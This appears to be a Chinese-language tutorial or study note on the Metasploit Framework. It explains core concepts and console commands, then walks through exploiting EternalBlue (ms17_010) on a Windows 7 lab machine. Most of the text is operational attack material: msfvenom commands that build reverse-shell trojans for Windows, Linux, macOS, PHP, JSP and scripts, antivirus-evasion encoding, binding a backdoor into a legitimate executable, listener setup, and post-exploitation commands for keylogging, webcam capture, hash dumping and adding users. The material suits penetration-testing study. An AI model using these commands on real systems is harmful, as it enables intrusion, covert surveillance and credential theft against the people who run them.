matasploit

matasploit

前置知识

介绍

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。

MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。

kali中已经集成了MSF

MSF中的相关概念

  • 渗透攻击(Exploit)

渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

  • 攻击载荷(Payload)

攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

  • 溢出代码(Shellcode)

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

  • 模块(Module)

在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。

MSF中都是按照对应模块进行区分的

  • 监听器(Listener)

监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

配置完攻击载荷后要在本地开启对应的监听器 用于接受发送链接

MSF目录结构

image-20240820161538810

kali中的MSF

cd /usr/share/metasploit-framework

image-20240820162834791

modules里有我们需要的模块

image-20240820163128335

auxiliary–>辅助模块

expoloit–>攻击模块

encoders–>编码模块

nops–>空指令模块

post–>后渗透攻击模块

evasion–>免杀模块

payload–>载荷模块

data中有一些我们需要的工具和用户的接口代码

scripts中存放了我们可利用的脚本

plugins存放的用户加载时会用到的插件

MSF基本命令

MSF中可以直接执行Linux命令

更新MSF

apt-get install metasploit-framework

image-20240820165838582

启动MSF

  • msfdb run
  • msfcosle

这两条命令都可以启动msf

出现msf6就表明进去了

退出exit

image-20240820170614344

一般用msfdb run

如果数据库报错就exit 然后再用msfcosle

帮助

help

在msf6 >后输help即可

image-20240820170807636

其他

  • back 返回上一层

  • info 显示一个或多个模块信息

  • show 同info

  • background 把会话挂到后台

  • use 使用对应模块

  • set 相应设置

  • unset 取消相应设置

  • search 查询模块

这里有个表 常用的

? 执行?命令:帮助菜单

search 搜索模块名和描述。

use 使用命令

back 从当前环境返回。

Banner 命令,显示一个MSF的banner。

color 颜色转换

connect 连接一个主机

exit 退出MSF

info 显示一个或多个模块的信息

irb 进入irb脚本模式。

jobs 显示和管理作业(和windows任务管理器的进程作用一样)

kill 杀死一个作业(和结束进程的作用一样)。

loadpath 加载一个模块的路径。

quit 退出MSF。

load 加载一个插件。

load 加载一个插件。

route 查看一个会话的路由信息。

save 保存动作

set 给一个变量赋值

show 显示给所有类型的模块

setg 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中

sleep 在限定的秒数内什么也不做

unload 卸载一个模块

unset 解出一个或多个变量。

unsetg 解出一个或多个全局变量

version 显示MSF和控制台库版本

命名规则

image-20240820172022349

命名规则: 模块/系统(功能)/服务/名称 smb:文件共享服务

name: 名称

Disclosure Date: 发布时间

rank: great good average normal 好不好用

Check: 暂时用不到

Description:描述

这里有一个联合查询:

search name:ms17 type:auxiliary

image-20240820173106119

查到了过后

就可以use 0 使用查找出的编号为0的模块

show options看看这个模块中现有的配置信息

image-20240820174616288

这里的AKA表示别名 通常用于在不同场合引用相同的模块

required:yes 表示必填项

此时就用set 填写相关信息

image-20240820175002474

填完之后就看发起攻击了

两条命令:

  • run
  • exploit

image-20240820175236843

当出现 meterpreter后就表示攻击成功了

然后就可以利用后渗透模块进行利用了

如果要保存这个会话的话就用background

image-20240820175708829

重新进入session

image-20240820175802076

exploits与payloads相关配置

exploits

RHOST:目标主机IP地址

RPORT:目标主机连接端口

Payload:有效的载荷,成功后返回shell

LHOST:攻击者的IP地址

LPORT:攻击者的端口

shell_find_tag:在一个已建立的连接上创建一个shell。

shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。

bind_tcp:监听一个tcp连接。

reverse_tcp:反向建立tcp连接。

reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。

add_user:创建一个新用户并添加到管理组。

xxx_ipv6_tcp:基于IPV6。

xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。

xxx_ord_tcp:有序payload。

xxx_tcp_allports:在所有可能的端口。

payloads

是在使用一个模块之后再去使用的。

命名规则:系统/类型/名称

例如:Windows/dllinject/reverse_tcp

类型命名规则

shell:上传一个shell。

dllinject:注入一个dll到进程。

patchup***:修补漏洞。

upexec:上传并执行一个文件。

meterpreter:高级的payload。

vncinject:高级的payload。

passive:高级的payload。

实操

win7 永恒之蓝

这个漏洞对应的模块时ms17_010

search ms17_010

image-20240820185657173

发现有辅助扫描模块

先用这个模块看看信息

use 24

image-20240820185835429

然后看下配置信息

show options

image-20240820185925155

只需要配置一下rhost

image-20240820190042669

是192.168.49.128

设置rhost

set rhost 192.168.49.128

image-20240820190207011

run

image-20240820190400960

超时了

康康怎么回事

win7没关防火墙

image-20240820191556167

发现存在ms17-010 永恒之蓝漏洞

先search ms17_010

image-20240820191914351

有0和10都可以用

先用0 不行再用10

use 0

image-20240820192028767

同样发现只需要设置rhost

set rhost 192.168.49.128

run/exploit

image-20240820192223030

成功

msfvenom 木马生成模块

参数使用

  • –p (- -payload-options) 添加载荷payload。 (- -payload-options 列出payload选项)
  • –l 查看所有payload encoder nops。
  • –f (- -help-formats) 输出文件格式。(- -help-formats 列出所有文件格式)
  • –e 编码免杀。
  • –a (- -platform – -help-platforms) 选择架构平台 x86 | x64 | x86_64
  • –o 文件输出。
  • –s 生成payload的最大长度,就是文件大小。
  • –b 避免使用的字符 例如:不使用 ‘\0f’。
  • –i 编码次数。
  • –c 添加自己的shellcode。
  • –x | -k 捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

例子

普通生成

msfvenom -p < payload > < payload options > -f < format > -o < path >

msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.0.0 lport=3333 –f exe –o C:\back.exe

image-20240820223501693

编码处理

msfvenom -p < payload > -e < encoder > -i < encoder times > -n < nopsled > -f < format > -o < path >

msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

捆绑

Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe

windows

Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe

linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f elf > shell.elf

mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f macho > shell.macho

php

msfvenom -p php/meterpreter_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.php

asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f asp > shell.asp

aspx

msfvenom -p windows/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f aspx > shell.aspx

jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.jsp

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f war > shell.war

bash

msfvenom -p cmd/unix/reverse_bash LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.sh

perl

msfvenom -p cmd/unix/reverse_perl LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.pl

python

msfvenom -p python/meterpreter/reverser_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.py

木马利用

木马是在外面生成的

但是木马的利用是通过msf的监听模块

使用exploit/multi/hander模块

use exploit/multi/handler

image-20240820222638691

到这里需要使用payload

我们生成的木马的payload是什么 这里就设置什么

set payload windows/meterpreter/reverse_tcp

image-20240820222825445

然后还需要设置ip和port

IP就设置成本地或者kali的ip

port同样要和前面一样

set lhost 0.0.0.0

set lport 3333

image-20240820223846651

好我们可以看下options

image-20240820224112024

现在我们只需要把demo.exe木马放到目标主机上并运行 在kali上就能监听到

run

image-20240820224319448

image-20240820225215667

后渗透命令

文件相关命令

  • help 查命令

  • bgkill 结束一个session会话

  • bglist 查看脚本列表

  • exit/quit 退出

  • getwd 当前运行目录

  • pwd 看路径

  • cd 到指定目录

  • mkdir 创建文件夹

  • rmdir 删除文件夹

  • getlwd/lpwd 操纵攻击者自己的路径

  • lcd 到攻击者自己的电脑的指定目录

  • cat 查看文件

  • upload /home/kali/aa.exe C:\\aa.exe 传文件到C盘

  • download C:\User\Desktop\1.txt 下载文件

  • edit 编辑文件(没有就会创建文件)

系统相关命令

  • getuid 查看当前登录用户
  • getsystem 简单提权
  • ps 看进程
  • sysinfo 查看目标操作系统信息
  • shell 打开cmd(乱码的话就 chcp 65001)
  • getdesktop 截取目标主机当前屏幕(会话窗口)
  • run webcam -p(指定路径) 开对方摄像头
  • run getgui -e 开启远程桌面
  • run getgui -u user -p 111 添加用户指定密码
  • run vnc 看屏幕
  • keyscan_start 键盘记录
  • kayscan_dump 导出键盘的记录
  • keyscan_stop 停止键盘记录
  • hashdump 将用户hash导出

这里shell如果是这样的话

image-20240825215324836

这样输命令的话一直没有回显

可以用这个启用bash

python -c "import pty;pty.spawn('/bin/bash')"

image-20240825215405740

它s在Python中创建一个伪终端

端口转发

portfwd add -l 1111 -p 3389 -r 192.168.10.136

将192.168.10.136:3389转到127.0.0.1:1111上

image-20240821180708939

rdesktop 127.0.0.1:1111

image-20240821180913147

成功